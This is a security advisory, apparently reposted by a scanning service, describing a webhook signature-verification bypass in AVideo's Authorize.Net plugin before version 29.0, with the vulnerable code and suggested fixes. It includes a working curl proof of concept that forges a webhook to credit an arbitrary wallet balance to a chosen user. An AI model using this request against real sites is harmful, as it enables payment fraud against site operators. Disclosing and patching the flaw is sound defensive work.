| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| wwbn/avideo | < 29.0 | 29.0 |
The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.
Three flaws combine into an exploit chain:
if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
http_response_code(401);
echo 'invalid signature';
exit;
}
The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.
In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:
$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount = isset($payload['amount']) ? (float)$payload['amount'] : ...;
The fallback logic in webhook.php only applies when the analysis values are empty/falsy:
if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}
Since the forged payload already provides both values, the authoritative API-fetched values are never used.
The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.
Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., ).
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí60123456789curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
-H 'Content-Type: application/json' \
-d '{
"eventType": "net.authorize.payment.authcapture.created",
"payload": {
"id": "60123456789",
"amount": 99999.99,
"responseCode": 1,
"metadata": {
"users_id": 2
}
}
}'
The signature check fails (no X-ANET-Signature header), but getTransactionDetails('60123456789') succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.
analyzeTransactionFromWebhook() uses the forged payload's amount: 99999.99 and metadata.users_id: 2.
processSinglePayment() credits $99,999.99 to user ID 2's wallet via addBalance().
The dedup key is sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate.
The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.
plans_id in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.1. Reject webhooks with invalid signatures unconditionally — the transaction lookup should only be used for data enrichment after signature validation passes:
// webhook.php line 33 — FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
_error_log('[Authorize.Net webhook] Bad signature');
http_response_code(401);
echo 'invalid signature';
exit;
}
2. Use API-fetched values as authoritative — in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:
// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}
3. Check isApproved before processing — add a gate before processSinglePayment():
if (!$analysis['isApproved']) {
_error_log('[Authorize.Net webhook] Transaction not approved');
http_response_code(400);
echo 'transaction not approved';
exit;
}